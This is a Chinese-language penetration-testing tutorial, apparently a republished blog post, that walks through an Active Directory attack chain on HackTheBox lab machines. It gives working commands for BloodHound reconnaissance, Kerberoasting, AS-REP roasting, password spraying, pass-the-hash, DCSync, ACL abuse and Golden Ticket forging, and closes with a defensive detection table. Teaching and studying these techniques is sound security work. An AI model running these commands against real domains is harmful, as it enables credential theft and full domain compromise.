[技术深浅]AD域渗透攻击链全解

admin 2026-04-29 05:15:13 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文系统梳理了AD域渗透完整攻击链,涵盖从低权限立足到获取域控并持久化的全过程。核心要点包括利用BloodHound与PowerView进行域结构侦察与路径规划;通过Kerberoasting、AS-REPRoasting及密码喷洒获取凭据;借助PTH与PTT技术横向移动;利用DCSync导出哈希及ACL滥用提权至域管;最终伪造GoldenTicket实现持久化。文章同时提供了基于事件监控与权限管控的蓝队防御建议,对安全从业者实战攻防具有较高指导价值。 综合评分: 88 文章分类: 内网渗透,渗透测试,实战经验,漏洞分析


cover_image

[技术深浅] AD域渗透攻击链全解

原创

丘驰 丘驰

极客零零七

2026年2月26日 18:02 加拿大

在小说阅读器读本章

去阅读

声明:本文内容仅用于授权渗透测试和安全研究,所有示例基于 HackTheBox 等合法靶机平台。

引言:为什么 AD 攻击是企业渗透的核心战场

现实中的企业网络,十之八九在用 Active Directory(AD)。AD 是微软的集中式身份和访问管理系统,管理所有用户、计算机、策略——这也意味着,攻破 AD 就等于攻破整个企业网络。

我第一次打 AD 靶机(HTB Forest)的时候,面对 BloodHound 那张庞大的关系图,完全不知从哪入手。打了十几台 AD 靶机之后,才慢慢摸清一个规律:AD 渗透有固定的攻击链,核心节点就那几个,绕来绕去都是这些技术

这篇文章把 AD 攻击的完整链路系统化——从如何在域内立足、到获取域控权限、最后持久化,每个环节都有原理解释和实战命令。

适合读者:已理解基础渗透流程,想系统学习 AD 攻击的安全从业者、OSCP/CRTE 备考者。


一、AD 基础:你必须理解这些概念

核心组件

| 组件 | 说明 | | — | — | | 域控(DC) | AD 的大脑,管理所有认证和授权 | | 域用户 | AD 管理的用户账户 | | 域计算机 | 加入域的主机 | | 安全组 | Domain Admins(DA)是目标 | | SPN | 服务主体名称,Kerberoasting 的关键 | | KRBTGT | 域中最关键的服务账户,持有 Golden Ticket 的密钥 |

Kerberos 认证流程(简化版)

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
用户登录   ↓向 DC 请求 TGT(Ticket Granting Ticket)   ↓ (AS-REQ / AS-REP)拿到 TGT(用 KRBTGT 哈希加密)   ↓用 TGT 向 DC 请求访问特定服务的票据(TGS)   ↓ (TGS-REQ / TGS-REP)拿到 TGS(用目标服务账户哈希加密)   ↓用 TGS 访问服务

为什么 Kerberos 可以被攻击:TGS 是用服务账户的 NTLM 哈希加密的,任何域用户都能请求 TGS,然后离线暴力破解——这就是 Kerberoasting。


二、攻击链总览

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
域内立足点(低权限用户 / 机器账户)         ↓   一、侦察与枚举   BloodHound + PowerView 收集域结构         ↓   二、密码攻击   Kerberoasting / AS-REP Roasting / 密码喷洒         ↓   三、横向移动   PTH / PTT / Over-Pass-the-Hash / WinRM         ↓   四、权限提升至 Domain Admin   ACL 滥用 / DCSync / 特权账户         ↓   五、持久化   Golden Ticket / Silver Ticket / 后门账户

三、第一步:域内侦察

3.1 BloodHound(必跑)

BloodHound 把 AD 的关系图可视化,帮你找到从当前账户到 Domain Admin 的最短路径。

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
# 方法一:SharpHound(在 Windows 靶机上运行).\SharpHound.exe -c All --zipfilename bloodhound.zip
# 方法二:bloodhound-python(从攻击机远程收集,无需在目标上运行工具)pip install bloodhoundbloodhound-python -u user -p password -ns <DC_IP> -d domain.local -c All

BloodHound 必查的预置查询

| 查询 | 作用 | | — | — | | Find all Domain Admins | 确认目标账户 | | Find Shortest Paths to Domain Admins | 从当前账户到 DA 的最短路 | | Find Principals with DCSync Rights | 谁能 DCSync | | Find AS-REP Roastable Users | 可 AS-REP 攻击的账户 | | Find Kerberoastable Users | 有 SPN 的服务账户 |

使用步骤

  1. 启动 neo4j:sudo neo4j start
  2. 启动 bloodhound:bloodhound
  3. 上传 .zip 文件
  4. 执行上述查询,右键高亮路径节点,看”滥用”说明(Abuse Info)

3.2 PowerView / LDAP 枚举

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
Import-Module&nbsp;.\PowerView.ps1
# 基础信息Get-DomainGet-DomainController(Get-DomainPolicy)."system access"&nbsp;&nbsp;# 查密码策略(锁定阈值)
# 找可 Kerberoast 的用户(有 SPN)Get-DomainUser&nbsp;-SPN&nbsp;|&nbsp;Select-Object&nbsp;SamAccountName,ServicePrincipalName
# 找可 AS-REP Roast 的用户(不需要预认证)Get-DomainUser&nbsp;-UACFilter&nbsp;DONT_REQ_PREAUTH |&nbsp;Select-Object&nbsp;SamAccountName
# 找 Domain Admins 成员Get-DomainGroupMember&nbsp;"Domain Admins"&nbsp;|&nbsp;Select-Object&nbsp;MemberName,MemberSID
# ACL 枚举(找可利用的权限关系)Find-InterestingDomainAcl&nbsp;-ResolveGUIDs&nbsp;|&nbsp;Select-Object&nbsp;ObjectDN,ActiveDirectoryRights,IdentityReferenceName

四、第二步:密码攻击

4.1 Kerberoasting(最高频攻击)

原理:任何域用户都可以请求有 SPN 的服务账户的 TGS,拿到后离线破解。

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
# 攻击机执行(impacket)impacket-GetUserSPNs domain.local/user:password -dc-ip <DC_IP> -request# 输出 $krb5tgs$23$... 格式的哈希
# 破解(hashcat)hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txthashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -r best64.rule
  • 1
  • 2
  • 3
# Windows 上(Rubeus).\Rubeus.exe kerberoast /nowrap# 直接输出格式化的哈希,复制去 hashcat

HTB 经验:HTB Forest、Active 靶机的核心就是 Kerberoasting,服务账户密码通常在 rockyou 前几十万条里。

4.2 AS-REP Roasting

原理:如果用户设置了”不需要 Kerberos 预身份验证”,攻击者无需凭据就能获取 AS-REP,其中包含用用户哈希加密的部分,可离线破解。

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
# 无凭据枚举 AS-REP Roastable 用户impacket-GetNPUsers domain.local/ -usersfile users.txt -no-pass -dc-ip <DC_IP>impacket-GetNPUsers domain.local/ -dc-ip <DC_IP> -request -no-pass -usersfile users.txt -format hashcat
# 破解hashcat -m 18200 asreproast.txt /usr/share/wordlists/rockyou.txt

HTB 经验:HTB Forest 靶机的初始立足点就是 AS-REP Roasting,通过 LDAP 匿名枚举拿到用户名列表,再 AS-REP Roasting 拿到密码。

4.3 密码喷洒(Password Spray)

适合场景:有用户名列表,不知道密码,但想避免账户锁定。

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
# CrackMapExec(最常用)crackmapexec smb <DC_IP> -u users.txt -p&nbsp;'Welcome1!'&nbsp;--continue-on-success
# Kerbrute(不会触发传统的账户锁定日志)./kerbrute passwordspray -d domain.local --dc <DC_IP> users.txt&nbsp;'Welcome1!'./kerbrute userenum -d domain.local --dc <DC_IP> users.txt &nbsp;# 先枚举有效用户

密码喷洒原则:先查密码策略(锁定阈值通常是 5 次),每批喷洒不超过 3 次,批次之间等待锁定窗口(通常 30 分钟)。


五、第三步:横向移动

有了凭据(密码或哈希),横向移动到更高权限的机器。

5.1 Pass-the-Hash(PTH)

原理:Windows 的 NTLM 认证可以直接用哈希,不需要明文密码。

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
# impacket-psexec(最常用,会有系统日志)impacket-psexec domain/admin@<target> -hashes :NTLM_HASH
# evil-winrm(安静,走 WinRM 5985 端口)evil-winrm -i <target> -u admin -H NTLM_HASH
# CrackMapExec(验证 + 执行命令)crackmapexec smb <target> -u admin -H NTLM_HASH -x&nbsp;"whoami"crackmapexec smb 192.168.1.0/24 -u admin -H NTLM_HASH &nbsp;# 批量验证

5.2 Pass-the-Ticket(PTT)

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
# Rubeus 导出票据.\Rubeus.exe dump /nowrap
# 导入特定票据.\Rubeus.exe ptt /ticket:<base64_ticket>
# 验证klist

5.3 Over-Pass-the-Hash

用 NTLM 哈希申请 Kerberos 票据,绕过只检查 Kerberos 的场景:

  • 1
.\Rubeus.exe asktgt /domain:domain.local /user:admin /rc4:NTLM_HASH /ptt

六、第四步:关键域攻击

6.1 DCSync(获取所有哈希的终极手段)

前提:有 DS-Replication-Get-Changes-All 权限(DA、EA 或被授权账户)

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
# impacket(在攻击机执行)impacket-secretsdump domain/admin:password@<DC_IP>impacket-secretsdump domain/admin@<DC_IP> -hashes :NTLM_HASH
# 只导出 krbtgt(用于 Golden Ticket)impacket-secretsdump domain/admin:password@<DC_IP> -just-dc-user krbtgt
  • 1
  • 2
# Mimikatz(在目标机执行).\mimikatz.exe&nbsp;"privilege::debug"&nbsp;"lsadump::dcsync /domain:domain.local /user:krbtgt"&nbsp;exit

拿到 krbtgt 哈希意味着你可以伪造任意票据(Golden Ticket)——这是域的最终沦陷。

6.2 ACL 滥用(BloodHound 最核心的价值)

BloodHound 把可利用的 ACL 权限可视化,常见场景:

| ACL 权限 | 目标 | 利用方式 | | — | — | — | | GenericAll on User | 任意用户 | 修改密码 / 添加 SPN | | GenericAll on Group | Domain Admins | 把自己加进去 | | GenericWrite on User | 服务账户 | 添加 SPN → Kerberoast | | WriteDACL | 域对象 | 给自己加 DCSync 权限 | | ForceChangePassword | 管理员账户 | 强制修改密码 |

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
# 利用 GenericAll 修改用户密码(PowerView)Set-DomainUserPassword&nbsp;-Identity&nbsp;targetuser&nbsp;-AccountPassword&nbsp;(ConvertTo-SecureString&nbsp;'NewP@ss!'&nbsp;-AsPlainText&nbsp;-Force)
# 利用 GenericAll 将自己加入 Domain AdminsAdd-DomainGroupMember&nbsp;-Identity&nbsp;"Domain Admins"&nbsp;-Members&nbsp;"currentuser"Verify:&nbsp;Get-DomainGroupMember&nbsp;"Domain Admins"
# 利用 WriteDACL 给自己加 DCSync 权限Add-DomainObjectAcl&nbsp;-TargetIdentity&nbsp;"DC=domain,DC=local"&nbsp;-PrincipalIdentity&nbsp;currentuser&nbsp;-Rights&nbsp;DCSync# 然后执行 DCSync

6.3 Golden Ticket(持久化神器)

前提:获得 krbtgt 账户的 NTLM 哈希

  • 1
  • 2
  • 3
  • 4
# impacketimpacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administratorexport&nbsp;KRB5CCNAME=Administrator.ccacheimpacket-psexec -k -no-pass domain.local/Administrator@<DC>
  • 1
  • 2
# Mimikatz.\mimikatz.exe&nbsp;"kerberos::golden /user:FakeAdmin /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:KRBTGT_HASH /ptt"&nbsp;exit

Golden Ticket 的恐怖之处:即使域管理员重置了密码,只要 krbtgt 哈希不变,Golden Ticket 就永久有效(默认 10 年)。


七、完整 AD 攻击路径速查

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
域内立足点(普通用户)&nbsp; &nbsp; ↓[BloodHound + PowerView 枚举]&nbsp; &nbsp; ├─→ AS-REP Roastable 用户? → AS-REP Roast → 破解 → 更高权限账户&nbsp; &nbsp; ├─→ Kerberoastable 服务账户? → Kerberoast → 破解 → 横向&nbsp; &nbsp; └─→ ACL 可利用? → GenericAll/WriteDACL → 加入 DA 或 DCSync 权限&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ↓&nbsp; &nbsp; &nbsp; &nbsp; [横向移动到 DC 附近的机器]&nbsp; &nbsp; &nbsp; &nbsp; PTH / evil-winrm / psexec&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ↓&nbsp; &nbsp; &nbsp; &nbsp; [DCSync 或直接 LSASS 转储]&nbsp; &nbsp; &nbsp; &nbsp; 获取 krbtgt 哈希 + Administrator 哈希&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ↓&nbsp; &nbsp; &nbsp; &nbsp; [Golden Ticket 持久化]&nbsp; &nbsp; &nbsp; &nbsp; 域永久后门

八、蓝队防御建议

| 攻击技术 | 检测 / 防御 | | — | — | | Kerberoasting | 监控 TGS 请求(4769);服务账户密码 25 位以上 | | AS-REP Roasting | 检查不需要预认证的账户,确保有实际需要才禁用 | | DCSync | 监控 4662 事件(DS-Replication-Get-Changes);严格控制复制权限 | | PTH | 启用 Windows Credential Guard;禁用 NTLM(较复杂) | | Golden Ticket | 监控异常 TGT(生命周期过长);定期双重重置 krbtgt 密码 | | BloodHound 收集 | 监控 LDAP 大量查询(4662);限制 LDAP 匿名访问 |


关键收获

  1. BloodHound 是 AD 渗透的眼睛:没有 BloodHound 就是蒙眼走路,任何时候都要先跑收集。
  2. Kerberoasting 是最低门槛的 AD 攻击:只需要一个普通域用户,就能获取服务账户的哈希。
  3. krbtgt 哈希 = 游戏结束:拿到它意味着可以伪造任意用户的票据,整个域都在掌控之中。

回复 AD攻击 获取 AD 攻击命令速查手册 PDF

下篇预告:[技术深潜] 密码破解实战手册 ——从哈希识别到暴力破解的完整方法论

关注「极客零零七」,每周实战攻防干货


#

参考资料

  • https://book.hacktricks.xyz/windows-hardening/active-directory-methodology
  • https://bloodhound.readthedocs.io/
  • https://www.ired.team/
  • HTB 推荐练习靶机:Forest(Easy)、Active(Easy)、Sauna(Easy)、Resolute(Medium)

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:极客零零七 丘驰 丘驰《[技术深浅] AD域渗透攻击链全解》

AI智能体攻击面分析 网络安全文章

AI智能体攻击面分析

文章总结: 本文分析了AI智能体与传统大模型的本质区别,指出智能体具备自主决策、工具调用和记忆能力导致其面临独特安全威胁。OWASP分类了15类智能体威胁,重点
工具|wappalyzergo 网络安全文章

工具|wappalyzergo

文章总结: wappalyzergo是一款基于Golang实现的Wappalyzer指纹识别工具,主要用于网站技术栈检测。该项目开源在GitHub,提供基础的指
评论:0   参与:  0